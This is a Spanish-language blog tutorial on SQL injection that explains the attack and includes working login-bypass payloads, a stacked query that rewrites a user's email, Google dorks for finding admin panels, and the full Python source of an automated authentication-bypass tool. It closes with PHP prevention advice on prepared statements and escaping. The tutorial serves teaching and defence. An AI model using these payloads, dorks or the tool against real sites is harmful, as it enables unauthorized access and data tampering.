Introducción

Un ataque SQL Injection se produce cuando el atacante intenta inyectar código SQL malicioso en la base de datos de la víctima, y fuerza a la base de datos a ejecutar esa sentencia. Las sentencias pueden hacer cosas como destruir las tablas de la base datos o extraer información privada como contraseñas.

Como funciona un ataque SQL Injection

Los ataques SQL Injection normalmente comienzan con el atacante introduciendo su código malicioso en un campo de formulario específico en una aplicación.

Pongamos el caso de un formulario que envía por email la contraseña al usuario: el usuario introduce su email en un campo y la aplicación hace una búsqueda en la base de datos en busca de esa dirección. Si la aplicación no encuentra la dirección de email, no envía un email con la nueva contraseña. Sin embargo, si la aplicación encuentra esa dirección de email en la base de datos, enviará un email a esa dirección de email con una nueva contraseña, o con la información necesaria para restaurarla.

En lugar de introducir una dirección de email válida, lo que haría el atacante sería inyectar una sentencia SQL que extraiga información o destruya o cambie algunos datos.

La sentencia SQL que tiene la aplicación sería algo así (el atacante la desconoce):

1
SELECT data FROM table WHERE email = '$email';

Antes de que el atacante pueda empezar a dañar la aplicación, debe averiguar como ésta maneja un input incorrecto primero, por ejemplo añadiendo una comilla simple ‘ al final del email a introducir:

1
ejemplo@ejemplo.com'

A partir de aquí pueden ocurrir dos posibilidades:

  • La aplicación primero sanitiza el input removiendo la comilla simple al final, porque considera que direcciones de email con comillas pueden ser potencialmente maliciosas (aunque según los estándares IETF las direcciones de email pueden contener comillas). Una vez sanitizado el email, procede a su búsqueda en la base de datos.
  • La aplicación no sanitiza el input, y directamente ejecuta la sentencia SQL con el email con la comilla. Esto es lo que el atacante espera que ocurra. La sentencia quedará:
1
SELECT data FROM table WHERE email = 'ejemplo@ejemplo.com'';

Lo que ocurre si se ejecuta así es que abortará la sentencia con un error de sintaxis. Dependiendo de cómo la aplicación maneje los errores, puede mostrar el error o no, pero generalmente aparecerá un mensaje de Database error o Internal Error. Lo importante es que el atacante no recibe un mensaje diciéndole que la dirección no existe en el sistema, por lo que la aplicación no sanitiza el input y es posible manipular su base de datos.

Ejemplos de ataques SQL Injection

Una vez que el atacante sabe que la base de datos es vulnerable, puede realizar el ataque. Por ejemplo puede editar un email de una cuenta de usuario:

1
2
3
4
Y';
UPDATE table
    SET email = '
atacante@ejemplo.com'
    WHERE email = '
usuario@ejemplo.com';

Después de la Y hay una comilla y un punto y coma, lo que permite al atacante cerrar la sentencia y ejecutar otra. Lo anterior resultaría en el siguiente código:

1
2
3
4
5
6
SELECT data
    FROM table
        WHERE Emailinput = 'Y';
    UPDATE table
        SET email = 'atacante@ejemplo.com'
        WHERE email = 'usuario@ejemplo.com';

Para realizar el ataque el atacante ha tenido que saber primero el nombre de la tabla y la estructura.

Una de las técnicas para conseguir más datos de los que devolvería una sentencia SQL de la aplicación es empleando 1=1, que es siempre true. La forma es la siguiente:

1
SELECT * FROM users WHERE id = 10 or 1=1

Esto devolvería toda la tabla de usuarios, ya que WHERE 1=1 es true.

Ataque

Atacando un formulario de Login simple

Sabiendo una definición de Sqli pasaremos a ver como podemos explotarla. Si tenemos conceptos sobre web deberíamos de saber que existen dos métodos para enviar información en HTTP ( hay muchos más, pero estos son los más usados ):

  • GET: La información de los parámetros se muestra en la url
  • POST: La información no es mostrada por la URL

Teniendo en cuenta esta principal diferencia, podemos deducir que si la web usa GET, será más sencillo atacar el formulario ( solo sería modificar una url ), en el caso de que utilice POST, tenemos que utilizar Burp Suite o Zap

Para comprobar esto enviaremos un usuario de prueba ( obviamente erroneo )

Al ver que no se modifica la url, pasaremos a configurar Burp Suite y realizar el mismo proceso para observar los campos que se envían en las peticiones

El siguiente paso sería modificar los valores de username y password para intentar provocar un fallo en la base de datos ( que será mostrado en la web ) e identificar la vulnerabilidad existente, para ello cambiaremos los valores por una simple ‘

Como podemos ver aparece un error de SQL, por lo cual podemos deducir que la base de datos a leído el carácter ‘ y ha llegado a un error, en este caso vamos a utilizar un filtro muy común.

1
' or 1=1 #

Este filtro de SQli lo que realiza es una comparación booleana dentro de la consulta a la base de datos, si descomponemos la consulta entenderemos mejor lo que sucede:

  • ‘ –> Nos encontramos cerrando la consulta legítima a la base de datos ( la que comprueba el usuario y contraseña)
  • or –> Establecemos el tipo de comparación booleana
  • 1 = 1 –> Establecemos un valor que sea True
  • # –> Cerramos la consulta

Lo que sucederá es que se ejecutará de modo que o el usuario es correcto ( no lo sabemos ) o 1=1 es verdadero ( como lo segundo si es verdadero entraremos)

Al enviar la petición recibiremos algunas más para cambiar al index

Y efectivamente estamos dentro

Herramientas

Escaners

Para encontrar paneles vulnerables, se puede hacer con Google utilizando dorks como los siguientes:

  • inurl:adminlogin.aspx
  • inurl:admin/index.php
  • inurl:administrator.php
  • inurl:administrator.asp
  • inurl:login.asp

Automatizadores

CS-SQL Injection Authentication Bypass

Esta herramienta ayuda a realizar SQLi a paneles de administración de los sitios webs. Esta escrito en Python y necesita de las siguientes librerías.

  • Selenium
  • PyVirtualDisplay

Instalación de las librerías

1
pip install pyvirtualdisplay selenium

Uso:

1
CS-SQL-Injection-Authentication-Bypass-Tool.py [--help] url [-username u] [-password p] [-submit s] [-visible v]

Código Fuente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pyvirtualdisplay import Display
from selenium import webdriver
import os,sys
from argparse import ArgumentParser
 
parser=ArgumentParser(
  description="CS Authentication SQL injection Bypass Tool. This tool is developed to bypass authentication on admin panels with the help of sql injection. I recommend to use -v to see better results. ",
  usage="auth.py [--help] url [-username u] [-password p] [-submit s] [-visible v]"
)
 
parser.add_argument('url',action="store",help='url of the target')
parser.add_argument('-u','--username',action="store",help='Enter Username Field name')
parser.add_argument('-p','--password',action="store",help='Enter Password Field name')
parser.add_argument('-s','--submit',action="store",help='Enter Submit Button Name')
parser.add_argument('-v','--visible',action="store_true",help="If you want to display in browser")
args=parser.parse_args()
 
def space(j):
  i = 0
  while i<=j:
    print " ",
    i+=1
 
def credits():
  space(6);print "-----------------------------------------------------"
  space(6);print "| CS Authentication SQL injection Bypass Tool       |"
  space(6);print "| Coded by Aditya Joshi                             |"
  space(6);print "| Version : 1                                       |"
  space(6);print "| CyberSucks.TK                                     |"
  space(6);print "| Twitter @darktruth190                             |"
  space(6);print "| Facebook: Fb.me/CyberSec007                       |"
  space(6);print "-----------------------------------------------------\n\n"
 
def main():
  admin = ['or 1=1', 'or 1=1--', 'or 1=1#', 'or 1=1/*', "admin' --", "admin' #", "admin'/*", "admin' or '1'='1", "admin' or '1'='1'--", "admin' or '1'='1'#", "admin' or '1'='1'/*", "admin'or 1=1 or ''='", "admin' or 1=1", "admin' or 1=1--", "admin' or 1=1#", "admin' or 1=1/*", "admin') or ('1'='1", "admin') or ('1'='1'--", "admin') or ('1'='1'#", "admin') or ('1'='1'/*", "admin') or '1'='1", "admin') or '1'='1'--", "admin') or '1'='1'#", "admin') or '1'='1'/*", "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055", 'admin" --', 'admin" #', 'admin"/*', 'admin" or "1"="1', 'admin" or "1"="1"--', 'admin" or "1"="1"#', 'admin" or "1"="1"/*', 'admin"or 1=1 or ""="', 'admin" or 1=1', 'admin" or 1=1--', 'admin" or 1=1#', 'admin" or 1=1/*', 'admin") or ("1"="1', 'admin") or ("1"="1"--', 'admin") or ("1"="1"#', 'admin") or ("1"="1"/*', 'admin") or "1"="1', 'admin") or "1"="1"--', 'admin") or "1"="1"#', 'admin") or "1"="1"/*', '1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055']
  user = args.username
  password = args.password
  submit = args.submit
  url = args.url
  if args.visible:
    display = Display(visible=1, size=(800, 600))
  else:
    display = Display(visible=0, size=(800, 600))
  display.start()
  driver = webdriver.Chrome()
  for lines in admin:
    driver.get(url)
    old_title = driver.title
    u = driver.find_element_by_name(user)
    p = driver.find_element_by_name(password)
    s = driver.find_element_by_name(submit)
    u.send_keys(lines)
    p.send_keys(lines)
    s.click()
    new_title = driver.title
    if old_title != new_title:
      print "Looks like login was successfull using username",lines,"& password",lines
      break
credits()
main()

Repositorio de GitHub: Descarga

Prevenir ataques SQLi en PHP

Usar prepared statements y parameterized queries. Esto son sentencias SQL preparadas que se envían a la base de datos de forma separada a cualquier parámetro. De esta forma es imposible para un atacante inyectar SQL malicioso. Es la forma más recomendable y segura de evitar este tipo de ataques. Se puede hacer de dos formas:

1. Con PDO:
1
2
3
4
5
$stmt = $pdo-&gt;prepare('SELECT * FROM usuarios WHERE nombre = :nombre');
$stmt-&gt;execute(array('nombre' =&gt; $nombre));
foreach ($stmt as $row) {
    // Hacer algo con $row
}
2. Con MySQLi:
1
2
3
4
5
6
7
8
9
$stmt = $dbConnection-&gt;prepare('SELECT * FROM usuarios WHERE nombre = ?');
$stmt-&gt;bind_param('s', $nombre);
 
$stmt-&gt;execute();
 
$result = $stmt-&gt;get_result();
while ($row = $result-&gt;fetch_assoc()){
    // Hacer algo con $row
}

Si se utiliza PostgreSQL existen opciones como _pgprepare() y _pgexecute() si se quiere hacer mediante esta segunda opción. PDO es una opción universal que vale para todas las bases de datos.

Cuando se usa una conexión PDO a MySQL los prepared statements de verdad puede que no se utilicen por defecto. Para usarlos siempre, hay que desactivar la emulación de prepared statements. La conexión se ha de hacer así:

1
2
3
$db = new PDO('mysql:dbname=test;host=localhost;charset=utf8', 'usuario', 'contraseña');
$db-&gt;setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$db-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

El error mode no es estrictamente necesario, pero es aconsejable ponerlo. De esta forma el script no parará con un Fatal Error cuando algo sale mal, y da la posibilidad al desarrollador de capturar (catch) cualquier error lanzado (throw) como PDOExceptcion.

Configurar ATTR_EMULATE_PREPARES a false puede ser importante ya que le dice a PDO que deshabilite los prepared statements emulados y sólo utilice los de verdad (por ejemplo en caso de que el driver no pueda preparar satisfactoriamente la sentencia).

De esta forma la sentencia y los valores no son analizados por PHP antes de ser enviados al servidor de bases de datos, sino que son analizados y compilados por éste, eliminando cualquier posibilidad de inyectar SQL malicioso. Los valores de los parámetros se combinan con una sentencia ya compilada, no son un string SQL. La inyección SQL funciona de forma que se inyecta el SQL malicioso en el string antes de ser enviado al servidor de bases de datos, por lo que enviando de forma separada la sentencia de los parámetros se reduce mucho el riesgo.

Otra forma es Escapar caracteres especiales. La función _mysqli_real_escapestring, o _mysqli::escapestring y _mysqli::real_escapestring en su versión OOP, coge el string que va a ser pasado a la sentencia y lo devuelve con los posibles ataques SQL injection eliminados. Ejemplo usando su versión OOP:

1
2
3
4
5
6
7
8
9
10
11
12
13
$mysqli = new mysqli("localhost", "usuario", "contraseña", "database");
 
$usuario = "' OR 1'";
$usuario = $mysqli-&gt;escape_string($usuario);
 
$query1 = "SELECT * FROM user WHERE name = '$usuario'";
echo "SQL injection escapado: <br>" . $query1 . "<br>";
 
$usuario2 = "'; DELETE FROM customers WHERE 1 or username = '";
$usuario2 = $mysqli-&gt;real_escape_string($usuario2);
 
$query2 = "SELECT * FROM user WHERE name = '$usuario2'";
echo "SQL injection escapado: <br>" . $query2;

El resultado lo devuelve con las comillas simples ‘ escapadas.

Función addslashes(). Esta es una solución que ya no se utiliza pues es bastante vulnerable. Lo que hace la función addslashes() es escapar el string mediante barras. Los strings escapados son ‘, «, \ y el byte null. Si por ejemplo insertas una barra \ en medio de un carácter múltiple en concreto, la barra pierde su valor ya que es parte de ese carácter múltiple, pudiéndose insertar una comilla después. Aquí hay una explicación más detallada.

La mejor opción es usar prepared statements y parameterized queries. De todas formas siempre es mejor combinar este tipo de precauciones con otras como data validation, indicando expresamente el tipo de variable que se espera (integer, por ejemplo).

Documentación

Links con documentación.

Fuentes de referencia

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *